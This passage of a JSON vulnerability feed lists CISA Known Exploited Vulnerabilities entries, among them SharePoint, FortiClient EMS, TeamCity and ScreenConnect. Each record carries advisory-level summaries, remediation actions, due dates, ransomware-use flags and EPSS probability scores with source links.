score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-29748&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-29748, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-24955","cveId":"CVE-2023-24955","aliases":[],"kind":"vulnerability","title":"Microsoft SharePoint Server Code Injection Vulnerability","summary":"Microsoft SharePoint Server contains a code injection vulnerability that allows an authenticated attacker with Site Owner privileges to execute code remotely.","detail":"CISA added this entry on 2024-03-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-03-26","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"SharePoint Server","stacks":["Microsoft SharePoint","Microsoft","SharePoint Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-03-26","dueAt":"2024-04-16","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.84974,"percentile":0.9971,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-24955&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-24955","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-03-26","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-24955 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-24955&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-24955, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-7256","cveId":"CVE-2019-7256","aliases":[],"kind":"vulnerability","title":"Nice Linear eMerge E3-Series OS Command Injection Vulnerability","summary":"Nice Linear eMerge E3-Series contains an OS command injection vulnerability that allows an attacker to conduct remote code execution.","detail":"CISA added this entry on 2024-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Contact the vendor for guidance on remediating firmware, per their advisory.","publishedAt":"2024-03-25","updatedAt":null,"regions":["Global"],"vendor":"Nice","product":"Linear eMerge E3-Series","stacks":["Nice","Linear eMerge E3-Series"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-03-25","dueAt":"2024-04-15","action":"Contact the vendor for guidance on remediating firmware, per their advisory.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.97081,"percentile":0.99891,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-7256&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-7256","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-03-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-7256 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-7256&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-7256, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-44529","cveId":"CVE-2021-44529","aliases":[],"kind":"vulnerability","title":"Ivanti Endpoint Manager Cloud Service Appliance (EPM CSA) Code Injection Vulnerability","summary":"Ivanti Endpoint Manager Cloud Service Appliance (EPM CSA) contains a code injection vulnerability that allows an unauthenticated user to execute malicious code with limited permissions (nobody).","detail":"CISA added this entry on 2024-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-03-25","updatedAt":null,"regions":["Global"],"vendor":"Ivanti","product":"Endpoint Manager Cloud Service Appliance (EPM CSA)","stacks":["Ivanti","Endpoint Manager Cloud Service Appliance (EPM CSA)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-03-25","dueAt":"2024-04-15","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99105,"percentile":0.99932,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-44529&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-44529","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-03-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-44529 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-44529&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-44529, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-48788","cveId":"CVE-2023-48788","aliases":[],"kind":"vulnerability","title":"Fortinet FortiClient EMS SQL Injection Vulnerability","summary":"Fortinet FortiClient EMS contains a SQL injection vulnerability that allows an unauthenticated attacker to execute commands as SYSTEM via specifically crafted requests.","detail":"CISA added this entry on 2024-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-03-25","updatedAt":null,"regions":["Global"],"vendor":"Fortinet","product":"FortiClient EMS","stacks":["Fortinet","FortiClient EMS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-03-25","dueAt":"2024-04-15","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.98446,"percentile":0.99918,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-48788&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-48788","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-03-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-48788 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-48788&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-48788, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-27198","cveId":"CVE-2024-27198","aliases":[],"kind":"vulnerability","title":"JetBrains TeamCity Authentication Bypass Vulnerability","summary":"JetBrains TeamCity contains an authentication bypass vulnerability that allows an attacker to perform admin actions.","detail":"CISA added this entry on 2024-03-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-03-07","updatedAt":null,"regions":["Global"],"vendor":"JetBrains","product":"TeamCity","stacks":["JetBrains TeamCity","JetBrains","TeamCity"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-03-07","dueAt":"2024-03-28","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99938,"percentile":0.99971,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-27198&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-27198","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-03-07","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-27198 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-27198&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-27198, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-23225","cveId":"CVE-2024-23225","aliases":[],"kind":"vulnerability","title":"Apple Multiple Products Memory Corruption Vulnerability","summary":"Apple iOS, iPadOS, macOS, tvOS, watchOS, and visionOS kernel contain a memory corruption vulnerability that allows an attacker with arbitrary kernel read and write capability to bypass kernel memory protections.","detail":"CISA added this entry on 2024-03-06. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-03-06","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"Multiple Products","stacks":["Apple","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-03-06","dueAt":"2024-03-27","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.01481,"percentile":0.73751,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-23225&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-23225","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-03-06","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-23225 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-23225&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-23225, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-23296","cveId":"CVE-2024-23296","aliases":[],"kind":"vulnerability","title":"Apple Multiple Products Memory Corruption Vulnerability","summary":"Apple iOS, iPadOS, macOS, tvOS, and watchOS RTKit contain a memory corruption vulnerability that allows an attacker with arbitrary kernel read and write capability to bypass kernel memory protections.","detail":"CISA added this entry on 2024-03-06. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-03-06","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"Multiple Products","stacks":["Apple","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-03-06","dueAt":"2024-03-27","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.01411,"percentile":0.72485,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-23296&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-23296","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-03-06","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-23296 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-23296&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-23296, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-36380","cveId":"CVE-2021-36380","aliases":[],"kind":"vulnerability","title":"Sunhillo SureLine OS Command Injection Vulnerablity","summary":"Sunhillo SureLine contains an OS command injection vulnerability that allows an attacker to cause a denial-of-service or utilize the device for persistence on the network via shell metacharacters in ipAddr or dnsAddr in /cgi/networkDiag.cgi.","detail":"CISA added this entry on 2024-03-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-03-05","updatedAt":null,"regions":["Global"],"vendor":"Sunhillo","product":"SureLine","stacks":["Sunhillo","SureLine"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-03-05","dueAt":"2024-03-26","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.97832,"percentile":0.99906,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-36380&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-36380","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-03-05","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-36380 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-36380&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-36380, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-21237","cveId":"CVE-2023-21237","aliases":[],"kind":"vulnerability","title":"Android Pixel Information Disclosure Vulnerability","summary":"Android Pixel contains a vulnerability in the Framework component, where the UI may be misleading or insufficient, providing a means to hide a foreground service notification. This could enable a local attacker to disclose sensitive information.","detail":"CISA added this entry on 2024-03-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-03-05","updatedAt":null,"regions":["Global"],"vendor":"Android","product":"Pixel","stacks":["Android","Pixel"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-03-05","dueAt":"2024-03-26","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.00266,"percentile":0.18311,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-21237&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-21237","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-03-05","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-21237 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-21237&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-21237, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-21338","cveId":"CVE-2024-21338","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Kernel Exposed IOCTL with Insufficient Access Control Vulnerability","summary":"Microsoft Windows Kernel contains an exposed IOCTL with insufficient access control vulnerability within the IOCTL (input and output control) dispatcher in appid.sys that allows a local attacker to achieve privilege escalation.","detail":"CISA added this entry on 2024-03-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-03-04","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft Office","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-03-04","dueAt":"2024-03-25","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.5981,"percentile":0.99124,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-21338&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-21338","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-03-04","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-21338 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-21338&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-21338, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-29360","cveId":"CVE-2023-29360","aliases":[],"kind":"vulnerability","title":"Microsoft Streaming Service Untrusted Pointer Dereference Vulnerability","summary":"Microsoft Streaming Service contains an untrusted pointer dereference vulnerability that allows for privilege escalation, enabling a local attacker to gain SYSTEM privileges.","detail":"CISA added this entry on 2024-02-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-02-29","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Streaming Service","stacks":["Microsoft","Streaming Service"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-02-29","dueAt":"2024-03-21","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.2162,"percentile":0.97608,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-29360&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-29360","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-02-29","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-29360 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-29360&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-29360, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-1709","cveId":"CVE-2024-1709","aliases":[],"kind":"vulnerability","title":"ConnectWise ScreenConnect Authentication Bypass Vulnerability","summary":"ConnectWise ScreenConnect contains an authentication bypass vulnerability that allows an attacker with network access to the management interface to create a new, administrator-level account on affected devices.","detail":"CISA added this entry on 2024-02-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-02-22","updatedAt":null,"regions":["Global"],"vendor":"ConnectWise","product":"ScreenConnect","stacks":["ConnectWise","ScreenConnect"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-02-22","dueAt":"2024-02-29","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.9998,"percentile":0.99981,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-1709&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-1709","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-02-22","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-1709 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-1709&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-1709, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-3259","cveId":"CVE-2020-3259","aliases":[],"kind":"vulnerability","title":"Cisco ASA and FTD Information Disclosure Vulnerability","summary":"Cisco Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD) contain an information disclosure vulnerability. An attacker could retrieve memory contents on an affected device, which could lead to the disclosure of confidential information due to a buffer tracking issue when the software parses invalid URLs that are requested from the web services interface. This vulnerability affects only specific AnyConnect and WebVPN configurations.","detail":"CISA added this entry on 2024-02-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-02-15","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD)","stacks":["Cisco","Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-02-15","dueAt":"2024-03-07","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.715,"percentile":0.99411,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-3259&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-3259","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-02-15","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-3259 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-3259&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-3259, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-21410","cveId":"CVE-2024-21410","aliases":[],"kind":"vulnerability","title":"Microsoft Exchange Server Privilege Escalation Vulnerability","summary":"Microsoft Exchange Server contains an unspecified vulnerability that allows for privilege escalation.","detail":"CISA added this entry on 2024-02-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-02-15","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Exchange Server","stacks":["Microsoft Exchange","Microsoft","Exchange Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-02-15","dueAt":"2024-03-07","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.12561,"percentile":0.96205,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-21410&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-21410","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-02-15","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-21410 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS 